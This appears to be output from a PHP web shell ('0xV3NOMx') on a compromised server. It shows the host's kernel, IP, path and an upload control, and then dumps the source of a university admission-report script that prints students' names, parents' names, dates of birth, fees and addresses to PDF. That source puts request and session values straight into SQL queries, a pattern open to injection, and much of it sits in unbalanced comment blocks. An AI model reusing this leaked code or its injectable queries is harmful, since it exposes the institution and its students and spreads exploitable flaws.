0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.12.147.12


Current Path : /var/www/html/sdu/Report_details/
Upload File :
Current File : /var/www/html/sdu/Report_details/report_admission_details.php

<?php

/* class StudentDetails
{
	public $aobj_context;
	public $degree_code;
	public $adm_no_starts;
	public $adm_no_ends;
	public $print_per_page;
	public $sub_appearing_count;
	public $std_adm_count;
	public $sub_arr;
	public $std_arr;
// university
	public $std_FUNIVNAME ;
	public $std_FUNIVCODE ;
	public $std_FTOWN;	
// college info	
	public $college_code;
	public $college_name;
	public $college_address;
// student info
	public $STD_RegNo;
	public $STD_CollCode;
	public $STD_Course;
	public $STD_Name;
	public $STD_FAT;
	public $STD_MAT;
	public $STD_DOB;	
	public $CollDetails;	
	public $ADMNUM;	
	public $bth_flag;	
	public $currentDate;
	public $lateral_entry;
	function __construct($aobj_context)
    {
		$this->aobj_context=$aobj_context;
		$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
		session_start();
		$this->college_code = $_SESSION['collcode']; 
		$this->degree_code = $aobj_context->mobj_data["degree_code"]; 
		$this->lateral_entry = $aobj_context->mobj_data["lateral_entry"]; 
		$this->adm_no_starts = $aobj_context->mobj_data['slno_starts']; 
		$this->adm_no_ends = $aobj_context->mobj_data['slno_ends']; 
		$bth_flag=0;
	}
	
	function getUniversityDetails()
	{
		$page_header_university = "select FUNIVCODE, FUNIVNAME,FTOWN,FUNIVADD1  from control";		
		$lobj_page_header_university = $this->aobj_context->mobj_db->GetRow($page_header_university);		
		$this->std_FUNIVCODE = $lobj_page_header_university[FUNIVCODE];
		$this->std_FUNIVNAME = $lobj_page_header_university[FUNIVNAME];
		$this->std_FTOWN = $lobj_page_header_university[FTOWN];
		$this->std_FUNIVADD1 = $lobj_page_header_university[FUNIVADD1];
	}	
	
	function getCollegeDetails()
	{
		$page_header_college = "select c.FCOLLCODE, c.FCOLLNAME, c.FEXAMCNTR,
								ec.FCOLLNAME AS exam_center_name,
								CONCAT(c.FCOLLADD1,SPACE(2), c.FTOWN,'\n',c.FEXAMCNTR) AS COLLEGE_ADRS 
								FROM college c
								LEFT JOIN college ec ON ec.FCOLLCODE=c.FEXAMCNTR
								WHERE c.FCOLLCODE='{$this->college_code}'";
		$lobj_page_header_college = $this->aobj_context->mobj_db->GetRow($page_header_college);
		
		$this->college_code = $lobj_page_header_college['FCOLLCODE'];
		$this->FEXAMCNTR = $lobj_page_header_college['FEXAMCNTR'];
		$this->exam_center_name = $lobj_page_header_college['exam_center_name'];
		$this->college_name = rtrim($lobj_page_header_college['FCOLLNAME'],'  ');;
		$this->college_address = $lobj_page_header_college['COLLEGE_ADRS'];
	
	}//and ifnull(col.FDELETED,'F')='F'
	function getStudentDetails()
	{
		$get_student_data= "select S.*,date_format(FDOB,'%d/%m/%Y') as farmtdob,date_format(now(),'%d/%m/%Y') as currentDate, 
		D.fdescpn as description, mc.FCOMBDESC, if(S.FGENDER='M','Male',if(S.FGENDER='F','Female','')) as gender, if(S.FBOARD_UNIV='Others',S.FOTHBOARD,S.FBOARD_UNIV) as board_univ
		from studadm S INNER JOIN degree D 
		on S.fdegree = D.fdegree AND S.FEXAMNO=D.FEXAMNO 
		left join mascomb mc on mc.FCOMBCODE = S.FCOMBCODE
		where  S.FSLNO>='{$this->adm_no_starts}' AND S.FSLNO<='{$this->adm_no_ends}'
		and S.FCOLLCODE='{$this->college_code}' and S.FDEGREE='{$this->degree_code}'
		and IFNULL(S.FLATERAL_ENTRY,0)='0' order by S.FSLNO";	
		$lobj_get_student_data = $this->aobj_context->mobj_db->GetAll($get_student_data);
		$this->std_adm_count = count($lobj_get_student_data);
	 
		 
		foreach($lobj_get_student_data as  $rek=>$rev)
		 {		
			$this->std_arr[$rev['FSLNO']]['FSLNO'] = $rev['FSLNO'];
			$this->std_arr[$rev['FSLNO']]['FDEGREE'] = $rev['FDEGREE'];
			$this->std_arr[$rev['FSLNO']]['DESCRIPTION'] = $rev['description'];
			$this->std_arr[$rev['FSLNO']]['FEXAMNO'] = $rev['FEXAMNO'];
			$this->std_arr[$rev['FSLNO']]['FCOLLCODE'] = $rev['FCOLLCODE'];
			$this->std_arr[$rev['FSLNO']]['FNAME'] = $rev['FNAME'];
			$this->std_arr[$rev['FSLNO']]['FFATNAME'] = $rev['FFATNAME'];
			$this->std_arr[$rev['FSLNO']]['FMOTNAME'] = $rev['FMOTNAME'];
			$this->std_arr[$rev['FSLNO']]['FDOB'] = $rev['farmtdob'];
			$this->std_arr[$rev['FSLNO']]['FAYEAR'] = $rev['FAYEAR'];
			$this->std_arr[$rev['FSLNO']]['FFAT_OCC'] = $rev['FFAT_OCC'];
			$this->std_arr[$rev['FSLNO']]['FMOT_OCC'] = $rev['FMOT_OCC'];
			$this->std_arr[$rev['FSLNO']]['FEMAIL'] = $rev['FEMAIL'];
			$this->std_arr[$rev['FSLNO']]['FSEX'] = $rev['FSEX'];
			$this->std_arr[$rev['FSLNO']]['FCASTE'] = $rev['FCASTE'];
			$this->std_arr[$rev['FSLNO']]['FBLOOD_GROUP'] = $rev['FBLOOD_GROUP'];
			$this->std_arr[$rev['FSLNO']]['FCONTACT_NO'] = $rev['FCONTACT_NO'];
			$this->std_arr[$rev['FSLNO']]['REG_FEE'] = $rev['REG_FEE'];
			$this->std_arr[$rev['FSLNO']]['TOTAL_FEE'] = $rev['TOTAL_FEE'];
			$this->std_arr[$rev['FSLNO']]['FNATIONAL'] = $rev['FNATIONAL'];
			$this->std_arr[$rev['FSLNO']]['FCURRADD1'] = $rev['FCURRADD1'];
			$this->std_arr[$rev['FSLNO']]['FCURRADD2'] = $rev['FCURRADD2'];
			$this->std_arr[$rev['FSLNO']]['FCURRADD3'] = $rev['FCURRADD3'];
			$this->std_arr[$rev['FSLNO']]['FCURRADD4'] = $rev['FCURRADD4'];
			$this->std_arr[$rev['FSLNO']]['FPERMADD1'] = $rev['FPERMADD1'];
			$this->std_arr[$rev['FSLNO']]['FPERMADD2'] = $rev['FPERMADD2'];
			$this->std_arr[$rev['FSLNO']]['FPERMADD3'] = $rev['FPERMADD3'];
			$this->std_arr[$rev['FSLNO']]['FPERMADD4'] = $rev['FPERMADD4'];
			$this->std_arr[$rev['FSLNO']]['FPHOTOPATH'] = $rev['FPHOTOPATH'];
			$this->std_arr[$rev['FSLNO']]['FLATERAL_ENTRY'] = $rev['FLATERAL_ENTRY'];
			$this->std_arr[$rev['FSLNO']]['FREC_ORDER_NO'] = $rev['FREC_ORDER_NO'];
			$this->std_arr[$rev['FSLNO']]['FREC_ORDER_DATE'] = $rev['FREC_ORDER_DATE'];
			$this->std_arr[$rev['FSLNO']]['FRELIGION'] = $rev['FRELIGION'];
			$this->std_arr[$rev['FSLNO']]['FTOTFEE'] = $rev['FTOTFEE'];
			$this->std_arr[$rev['FSLNO']]['FFEEPAID'] = $rev['FFEEPAID'];
			$this->std_arr[$rev['FSLNO']]['FRECNO'] = $rev['FRECNO'];
			$this->std_arr[$rev['FSLNO']]['FRECDATE'] = $rev['FRECDATE'];
			$this->std_arr[$rev['FSLNO']]['FREMARKS'] = $rev['FREMARKS'];
			$this->std_arr[$rev['FSLNO']]['FCOMBDESC'] = $rev['FCOMBDESC'];
			$this->std_arr[$rev['FSLNO']]['FGENDER'] = $rev['gender'];
			$this->std_arr[$rev['FSLNO']]['FMOBILE_NO'] = $rev['FMOBILE_NO'];
			$this->std_arr[$rev['FSLNO']]['FCOLLRSCH'] = $rev['FCOLLRSCH'];
			$this->std_arr[$rev['FSLNO']]['FPASSYEAR'] = $rev['FPASSYEAR'];
			$this->std_arr[$rev['FSLNO']]['FTOTALPERCENT'] = $rev['FTOTALPERCENT'];
			$this->std_arr[$rev['FSLNO']]['FBOARD_UNIV'] = $rev['board_univ'];
			$this->std_arr[$rev['FSLNO']]['FHONOURS'] = $rev['FHONOURS'];
			$this->currentDate = $rev['currentDate'];
		 } 	
		 
	}
	/*
	function getSubjectAppearing()
	{
		$get_subject_appearing = "SELECT c.FDEGREE, cs.FREGNO AS FREGNO , 
		GROUP_CONCAT(d.FEXAMNAME ORDER BY d.FEXAMNO) EXAMNAME,
		GROUP_CONCAT(c.FEXAMNO ORDER BY c.FSUBCODE) FEXAMNO, c.FREGNO,
		GROUP_CONCAT(s.FCSUBCODE ,'->',s.FSUBNAME,' ',s.FSSUBNAME,'->', s.FSHORTNAME,'->',concat(if(date_format(FDOE,'%d/%m/%Y')!='00/00/0000',date_format(FDOE,'%d/%m/%Y'),''),' - ',ifnull(rs.fdescpn,''),'->',FQPCODE)  ORDER BY s.FTHEORY desc, s.FDOE, s.FSESSION  SEPARATOR '~') AS SUBCODE , 
		GROUP_CONCAT(ifnull(s.FSUBNAME,''),' ',ifnull(s.FSSUBNAME,''),' [',ifnull(FSUBSHORT,''),']' ORDER BY s.FCSUBCODE) AS SUBDECPN,
		ifnull(FRECPTDATE,'') as receipt_date
		FROM canddet c INNER JOIN subject s ON
		c.FDEGREE=s.FDEGREE AND c.FEXAMNO=s.FEXAMNO AND 
		c.FSUBCODE=s.FSUBCODE AND s.FINTASS!='T' AND INSTR(ifnull(c.fthpr,''), s.ftheory) <= 0
		left outer join reason rs on
		s.fsession = rs.freasoncd
		inner join degree d on
		c.FDEGREE= d.FDEGREE AND c.FEXAMNO=d.FEXAMNO
		and d.FADYEAR=c.FYEAR
		and left(d.FADEXAMTYP,1)=left(c.FEXAMTYPE,1)
		inner join candsum cs on 
		cs.FDEGREE=c.FDEGREE AND cs.FREGNO=c.FREGNO AND 
		cs.FCOLLCODE=c.FCOLLCODE
		AND c.FYEAR=cs.FYEAR
		and left(c.FEXAMTYPE,1)=left(cs.FEXAMTYPE,1)
		WHERE
		c.FDEGREE='{$this->degree_code}' AND
		c.FCOLLCODE='{$this->college_code}' AND 
		ifnull(c.FPASSMTH,'') = '' AND c.fpresent = 'P'
		and c.FREGNO >= '{$this->registor_no_starts}' 
		AND c.FREGNO <='{$this->registor_no_ends}' 
		and cs.frecptdate is not null
		GROUP BY c.FREGNO, c.FDEGREE ";
		
									
									
 	    $this->aobj_context->mobj_db->execute("SET @@session.group_concat_max_len=100000");	
		$this->lobj_get_subject_appearing = $this->aobj_context->mobj_db->GetAll($get_subject_appearing);	
		// echo "<pre>".$get_subject_appearing;die();
	  $this->receipt_date_arr=array();
		 foreach($this->lobj_get_subject_appearing as $suk=>$suv)
		 {		
			$this->std_arr[$suv[FREGNO]]['SUBCODE']=$suv['SUBCODE'];
			if(!empty($suv['receipt_date']))
			$this->receipt_date_arr[$suv[FREGNO]]=$suv['receipt_date'];			
		 } 
		 
		 
	}	
	function PrintFooter($pdf)
	{
		$new_x=$pdf->GetX();
		$new_y=$pdf->GetY();
		$ip=$_SERVER["REMOTE_ADDR"];
		$pdf->SetY(-18);
		$pdf->SetFont('Times','',8);
		$new_ly=$pdf->GetY();
		$pdf->Line(10,$new_ly, 200,$new_ly);
		$pdf->Ln(2);
		$pdf->Cell(140,4,'Printed   : IP Address : '.$ip.", Date : ".$this->currentDate,'0',0,'L');
		$pdf->SetXY($new_x,$new_y); 
	}
}
function generateStudDetailReport($aobj_context)
{
	$class_obj=new StudentDetails($aobj_context);		
	ini_set("memory_limit",-1);
    ini_set('max_execution_time',3300);
	$class_obj->degree_code		= $aobj_context->mobj_data["degree_code"];
	
	//if(preg_match('[^BTH]', $class_obj->degree_code))
	if(preg_match('[^BTH]', $class_obj->degree_code))
	$class_obj->bth_flag=1;
	
	$class_obj->registor_no_starts= $aobj_context->mobj_data["reg_starts"];
	$class_obj->registor_no_ends= $aobj_context->mobj_data["reg_ends"]; 
	  
	
	$main_src_obj=(explode("/",$_SERVER["REQUEST_URI"]));
	$main_src=$main_src_obj[1];
	
	$pdf_reader_class=$aobj_context->main_src."/maya-pdf/fpdi/FPDI_Protection.php";	
	$pdf_psw_function=$aobj_context->main_src."/maya-pdf/TarkaPDFEncryption.php";
	$pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php";
	$root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_adm_ticket.pdf";

	include($pdf_writer_class);		
	$pdf= new FPDF(); 	
	$pdf->SetMargins(15,5,15);	
	$pdf->aobj_context =$aobj_context ;
	$pdf->WhichReport = 'AdmissionTicket';
	$pdf->SetFillColor(248, 248 ,255);		
	$pdf->SetFont('Times','',10);
	$adm_details=$class_obj->getUniversityDetails();
	$adm_details=$class_obj->getCollegeDetails();
	$adm_details=$class_obj->getStudentDetails();
	//$adm_details=$class_obj->getSubjectAppearing();
	
	$pdf->AddPage();$adm_details=$class_obj->PrintFooter($pdf);
	$page_cnt=1;
	foreach($class_obj->std_arr as $reg_k=>$reg_v)
	{
	$full_photo_path="";
	$full_photo_path=trim($aobj_context->main_src."/".$reg_v[FPHOTOPATH]);	
		  
				$pdf->Ln(3);	
				//$pdf->SetLineWidth(0.01);
				$pdf->SetLineWidth(0.01);
				$pdf->SetFont('Times','B',14);	
				$img_path=$aobj_context->main_src."/img/report_uni_logo.jpg";
				if(file_exists($img_path)) 
				$pdf->Image($img_path,15,4,22);
				
				$pdf->Cell(0,4,$class_obj->std_FUNIVNAME,0,1,'C');
				$pdf->SetFont('Times','',8);
				$pdf->Cell(0,4,$class_obj->std_FUNIVADD1,0,1,'C');
				$pdf->SetFont('Times','B',8);
				$pdf->Cell(0,4,$class_obj->college_code.' - '.$class_obj->college_name,0,1,'C');
				$pdf->SetFont('Times','B',10);
				$pdf->Cell(0,5,'STUDENT REGISTRATION FORM' ,'0',1,'C'); 
				$pdf->SetFont('Times','',10);
				$pdf->Ln(4);
				$new_yl=$pdf->GetY();
				$pdf->Line(10,$new_yl, 200,$new_yl);
				$pdf->SetFont('Times','',10);	
				$imgY = $pdf->GetY();
			 	if(file_exists($full_photo_path) && !empty($reg_v[FPHOTOPATH]))
				{
					$pdf->Image($full_photo_path,165,$imgY+10,27,27);				
				}
				else
				{
					$pdf->Image($aobj_context->main_src."/img/nophoto.jpg",165,$imgY+10,27,27);				
				}
			$pdf->Ln(2);
			$pdf->SetFont('Times','',14);
			$pdf->cell(50,7,"Sl.No."." : ".$reg_v[FSLNO],"0",1,"L");
			
			$pdf->Ln(2);
			$pdf->SetFont('Times','',10);
			$pdf->cell(8,5," 1. ","0",0,"L");
			$pdf->cell(50,5," Degree ","0",0,"L");
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[DESCRIPTION],"0",1,"L");
			$pdf->SetFont('Times','',10);
			$pdf->cell(8,5," 2. ","0",0,"L");
			$pdf->cell(50,5," Name ","0",0,"L");
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FNAME],"0",1,"L");
			$pdf->cell(8,5," 3. ","0",0,"L");
			$pdf->cell(50,5," Date of birth ","0",0,"L");
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(30,5,$reg_v[FDOB],"0",1,"L");
			$pdf->cell(8,5," 4. ","0",0,"L");
			$pdf->cell(50,5," Gender ","0",0,"L");
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(30,5,$reg_v[FGENDER],"0",1,"L");
			$pdf->SetFont('Times','',$font);
			$pdf->cell(8,5," 5. ","0",0,"L");
			$pdf->cell(50,5," Father's Name / Guardian Name ","0",0,"L");
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FFATNAME],"0",1,"L");
			$pdf->cell(8,5," 6. ","0",0,"L");
			$pdf->cell(50,5," Mother's Name ","0",0,"L");
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FMOTNAME],"0",1,"L");
			/* $pdf->SetFont('Times','',$font);
			$pdf->cell(8,5," 6. ","0",0,"L");
			$pdf->cell(50,5," Father's Occupation ","0",0,"L");
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FFAT_OCC],"0",1,"L");
			$pdf->SetFont('Times','',$font);
			$pdf->cell(8,5," 7. ","0",0,"L");
			$pdf->cell(50,5," Mother's Name ","0",0,"L");
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FMOTNAME],"0",1,"L");
			$pdf->SetFont('Times','',$font);
			$pdf->cell(8,5," 8. ","0",0,"L");
			$pdf->cell(50,5," Mother's Occupation ","0",0,"L");
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FMOT_OCC],"0",1,"L");
			$pdf->cell(8,5," 7. ","0",0,"L"); 
			$pdf->cell(50,5," Category  ","0",0,"L");			
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(30,5,$reg_v[FCASTE],"0",0,"L");
			//$pdf->cell(8,5," 10. ","0",0,"L");
			$pdf->cell(30,5," Religion ","0",0,"L");			
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(30,5,$reg_v[FRELIGION],"0",1,"L");
			$pdf->cell(8,5," 8. ","0",0,"L");
			$pdf->cell(50,5," Nationality  ","0",0,"L");			
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(30,5,$reg_v[FNATIONAL],"0",0,"L");
			//$pdf->cell(8,5," 12. ","0",0,"L");
			$pdf->cell(30,5," Blood Group  ","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(30,5,$reg_v[FBLOOD_GROUP],"0",1,"L");
			/* $pdf->cell(8,5," 13. ","0",0,"L");
			$pdf->cell(50,5," Lateral Entry ? ","0",0,"L");
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FLATERAL_ENTRY],"0",1,"L");	
			$pdf->cell(8,5," 9. ","0",0,"L");
			$pdf->cell(50,5," Honours ","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FHONOURS],"0",1,"L");
			$pdf->cell(8,5," 10. ","0",0,"L");
			$pdf->cell(50,5," Combination ","0",0,"L");
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FCOMBDESC],"0",1,"L");
			$pdf->cell(8,5," 11. ","0",0,"L");
			$pdf->cell(50,5," Board / University  ","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FBOARD_UNIV],"0",1,"L");
			$pdf->cell(8,5," 12. ","0",0,"L");
			$pdf->cell(50,5," School / College ","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FCOLLRSCH],"0",1,"L");
			$pdf->cell(8,5," 13. ","0",0,"L");
			$pdf->cell(50,5," Pass Year ","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FPASSYEAR],"0",1,"L");
			$pdf->cell(8,5," 14. ","0",0,"L");
			$pdf->cell(50,5," Pass Percentage ","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FTOTALPERCENT],"0",1,"L");
			$pdf->cell(8,5," 15. ","0",0,"L");
			$pdf->cell(50,5," Address(For Communication) ","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->MultiCell(100,5,$reg_v[FCURRADD1],0,"L");
			$pdf->cell(58,5," ","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->MultiCell(100,5,$reg_v[FCURRADD2],0,"L");
			$pdf->cell(58,5,"  ","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->MultiCell(100,5,$reg_v[FCURRADD3],0,"L");
			$pdf->cell(58,5," ","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->MultiCell(100,5,$reg_v[FCURRADD4],0,"L");
			$pdf->cell(8,5," 16. ","0",0,"L");
			$pdf->cell(50,5," Address(Permanent) ","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->MultiCell(100,5,$reg_v[FPERMADD1],0,"L");
			$pdf->cell(58,5," ","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->MultiCell(100,5,$reg_v[FPERMADD2],0,"L");
			$pdf->cell(58,5,"","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->MultiCell(100,5,$reg_v[FPERMADD3],0,"L");
			$pdf->cell(58,5,"  ","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->MultiCell(100,5,$reg_v[FPERMADD4],0,"L");
			$pdf->cell(8,5," 17. ","0",0,"L");
			$pdf->cell(50,5," Contact No ","0",0,"L");																	
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FCONTACT_NO],"0",1,"L");
			$pdf->cell(8,5," 18. ","0",0,"L");
			$pdf->cell(50,5," Mobile No ","0",0,"L");
			$pdf->cell(10,5,":","0",0,"C");
			$pdf->cell(50,5,$reg_v[FMOBILE_NO],"0",1,"L");
			$pdf->Ln(15);
			$pdf->Cell(110,5,'Student Signature	','0',1,'L');
			$pdf->Ln(2);
			$date=date("F j, Y, g:i a");  
			$pdf->Cell(140,5,"Date: ",'0',1,'L');
			$pdf->Ln(10);
			$pdf->Cell(140,5,'','0',0,'L');
			$pdf->Cell(36,5,'','0',1,'L');
			$pdf->Ln(8); 
			if($page_cnt!=count($class_obj->std_arr))
			{
			$pdf->AddPage();$adm_details=$class_obj->PrintFooter($pdf);
			}$page_cnt++;
	} 
	 
	$pdf->Output('report_stud_detail.pdf','D');
		 
} */


?>

<?php
function generateAdmissionReport($aobj_context)
{	
	session_start();
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
    $college_code = $_SESSION['collcode']; 
	$degree_code = $aobj_context->mobj_data["degree_code"]; 
	$sub_degree_code = $aobj_context->mobj_data["sub_degree_code"]; 
	$exam_no = $aobj_context->mobj_data["exam_no"]; 
	$lateral_entry = $aobj_context->mobj_data["lateral_entry"]; 
	$exam_no=empty($exam_no)?"A":$exam_no;
	if(empty($lateral_entry))
	{
		$exam_no='A';
		$lateral_entry_cond=" and ifnull(s.FLATERAL_ENTRY,0)='0' ";
	}
	else
	{
		$exam_no='C';
		$lateral_entry_cond=" and ifnull(s.FLATERAL_ENTRY,0)='1' ";
	}
	$main_src_obj=(explode("/",$_SERVER["REQUEST_URI"]));
	$main_src=$main_src_obj[1];
	$pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php";
	$tarkaheader=$aobj_context->main_src."/Report_details/tarkaheader.php";
	$root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_admission_list.pdf";

	$p_count =1;

	include($pdf_writer_class);		
	$pdf= new FPDF();
	$pdf->SetFont('Times','',10);
	$pdf->SetMargins(14,17);		
	$pdf->AliasNbPages();	
	$sub_degree_cond="";
	
	if(!empty($sub_degree_code))
	{
		$sub_degree_cond=" and s.FSUBDEGREE='{$sub_degree_code}'"; 
		$page_header_sub_degree = "select concat('[',FDEGREE,'] - ', FDESCPN) as sub_degree_name, FADYEAR  
								from degree where FDEGREE = '{$sub_degree_code}' and FEXAMNO='{$exam_no}' ";
		$lobj_page_header_sub_degree = $aobj_context->mobj_db->GetRow($page_header_sub_degree);
	}
	
	$page_header_university = "select FUNIVNAME,FTOWN, date_format(now(),'%d/%m/%Y') as date from control";
	$lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university);
	
	$page_header_college ="select concat('[',FCOLLCODE,']  ',FCOLLNAME,', ',FTOWN) as college_name
							from college where FCOLLCODE='{$college_code}'";
	$lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college); 

	$page_header_degree = "select concat('[',FDEGREE,'] - ', FDESCPN,', ',FEXAMNAME) as Degree_name, FADYEAR  
							from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_no}' ";
	$lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree);
	
	$pdf->aobj_context =$aobj_context ;
	$pdf->WhichReport = 'Admission';
	$pdf->FUNIVNAME = $lobj_page_header_university[FUNIVNAME];
	$pdf->FTOWN = $lobj_page_header_university[FTOWN];
	$pdf->date_1 = $lobj_page_header_university['date'];
	$pdf->college_name = $lobj_page_header_college['college_name'];
	$pdf->Degree_name = $lobj_page_header_degree['Degree_name'];
	$pdf->sub_degree_code = $lobj_page_header_sub_degree['sub_degree_name'];
	$pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR'];
			
	$pdf->AddPage();
	
	$pdf->SetFont('Times','',10);
	
	$get_student_data= " select FPHOTOPATH,concat(if(ifNULL(s.FDELETED, 'F')='F', s.FSLNO, concat('*',s.FSLNO))) as SLNO,
							SUBSTRING(s.FNAME,1,25) as FNAME,
							SUBSTRING(s.FNAME,26) as SNAME,
							group_concat(distinct right(concat(space(4),sub.FSUBCODE),4) order by sub.FSUBCODE separator ' ' ) as  SCode,
							concat('Gender. : ',if(s.fgender='F','Female','Male')) as Gender,
							group_concat(distinct right(concat(space(4),sub.FSUBSHORT),4) order by sub.FSUBCODE separator ' ' ) as SShort,
							concat('DOB     : ',Date_Format(s.FDOB,'%d/%m/%Y')) as DOB,
							concat('Father : ',s.FFATNAME) as Father ,
							concat('Group.  : ',s.FCASTE) as CASTE,
							concat('Mother : ',s.FMOTNAME) as Mother,							
							concat(group_concat(distinct FHEADCODE,'~',FAMOUNT order by FHEADCODE separator '->')) as FHEADCODE, 
							concat(group_concat(distinct  FAMOUNT  order by FHEADCODE separator '->')) as FAMOUNT ,
							FFEEPAID,FREMARKS
							from studadm s inner join options op on
							s.FSLNO=op.FSLNO and s.FDEGREE=op.FDEGREE and s.FCOLLCODE=op.FCOLLCODE 
							inner join subject sub on sub.FSUBCODE=op.FSUBCODE
							left join admfeedetl adm on adm.FDEGREE=s.FDEGREE
							and adm.FEXAMNO=s.FEXAMNO
							and adm.FSLNO=s.FSLNO
							and adm.FCOLLCODE=s.FCOLLCODE							 
							where  s.FDEGREE='{$degree_code}' {$sub_degree_cond} 
							and if(ifnull(s.FSUBDEGREE,'')='',s.FDEGREE,s.FSUBDEGREE)=sub.FDEGREE
							and s.FCOLLCODE='{$college_code}' and sub.FEXAMNO='{$exam_no}'
							and sub.FEXAMNO=op.FEXAMNO {$lateral_entry_cond}
							group by s.FCOLLCODE,s.FDEGREE,s.FSLNO order by s.FSLNO  "; 
							var_dump($get_student_data);
	 
	$lobj_student_data = $aobj_context->mobj_db->GetAll($get_student_data);	 
	   
	$arr_w = array(10,65,70,108);
	$arr_h = array();
	$adm_ln_counter=0;
	
	foreach($lobj_student_data as $key => $value)
	{	
			
		if($adm_ln_counter > 40)
		{
			$pdf->AddPage();	
			$adm_ln_counter=0;
		}
		
		$head_code=$value['FHEADCODE'];
		$amount=$value['FAMOUNT'];
		$head_code_arr=explode("->",$head_code);
		$cnt=0;
		$fee_details_head=array();
		$fee_details_amt=array();
		$k=0;
		foreach($head_code_arr as $avv)
		{
			$exp_arr=explode("~",$avv);
			$fee_details_head[$cnt][$k]=$exp_arr[0];
			$fee_details_amt[$cnt][$k]=$exp_arr[1];
			$k++;
			if($k%5==0)
				$cnt++;
		}
		$FPHOTOPATH=$value['FPHOTOPATH'];
			
		$full_path= $aobj_context->main_src."/".$value['FPHOTOPATH'];
		if(!empty($value['SNAME']))
		{				
			$a_x=$pdf->GetX();
			$a_y=$pdf->GetY();
			if(!empty($FPHOTOPATH) && file_exists($full_path))
			{
				$pdf->Image($full_path,$a_x+160,$pdf->GetY(),20,18);
			}
			$pdf->SetXY($a_x,$a_y);		
			$pdf->SetFont('Times','',10);
			$pdf->Cell($arr_w[0],5,$value['SLNO'],'L',0,'L');				
			$pdf->Cell($arr_w[1],5,$value['FNAME'],'0',0,'L');
			$pdf->SetFont('Courier','',10);
			$pdf->Cell(108,4,$value['SCode'],'R',1,'L');  $adm_ln_counter++;
			
			$pdf->SetFont('Times','',10);
			$pdf->Cell($arr_w[0],5,' ','L',0,'L');
			$pdf->Cell($arr_w[1],5,$value['SNAME'],'0',0,'L');
			$pdf->SetFont('Courier','',10);
			$pdf->Cell(108,4,$value['SShort'],'R',1,'L'); $adm_ln_counter++;
			
			$pdf->SetFont('Times','',10);
			$pdf->Cell($arr_w[0],5,' ','L','L');
			$pdf->Cell($arr_w[1],5,$value['Gender'],'0',0,'L');
			$pdf->Cell(108,4,$value['Father'],'R',1,'L'); $adm_ln_counter++;
			
			$pdf->Cell($arr_w[0],5,' ','L',0,'L');				
			$pdf->Cell($arr_w[1],5,$value['DOB'],'0',0,'L');
			$pdf->Cell(108,4,$value['Mother'],'R',1,'L');	 $adm_ln_counter++;
			
			$pdf->Cell($arr_w[0],5,' ','L',0,'L');
			$pdf->Cell($arr_w[1],5,$value['CASTE'],'',0,'L');
			$pdf->Cell(108,5,'','R',1,'L');	 $adm_ln_counter++;	
			
			foreach($fee_details_head as $ck=>$cv)
			{
				$data_head=$cv;
				$data_amt=$fee_details_amt[$ck];;
				$pdf->SetFont('Times','',10);
				$pdf->Cell($arr_w[0],5,' ','L',0,'L');				
				//$pdf->Cell(20,5,"Fee Head",'0',0,'L');
				$adm_ln_counter++;
				$pdf->SetFont('Times','',8);
				foreach($data_head as $dk=>$dv)					
				{
					$pdf->Cell(30,5,$dv,'0',0,'C');
				}
				$pdf->Cell(3,5,'','0',1,'C');
				$pdf->Cell($arr_w[0],5,' ','L',0,'L');
				$pdf->SetFont('Times','',10);					
				$adm_ln_counter++;
				$pdf->SetFont('Times','',8);					
				foreach($data_amt as $dk=>$dv)					
				{
					$pdf->Cell(30,5,$dv,'0',0,'C');
				}
				$pdf->Cell(3,5,'','0',1,'R');
			 } 
			 $pdf->SetFont('Times','',10);
			 
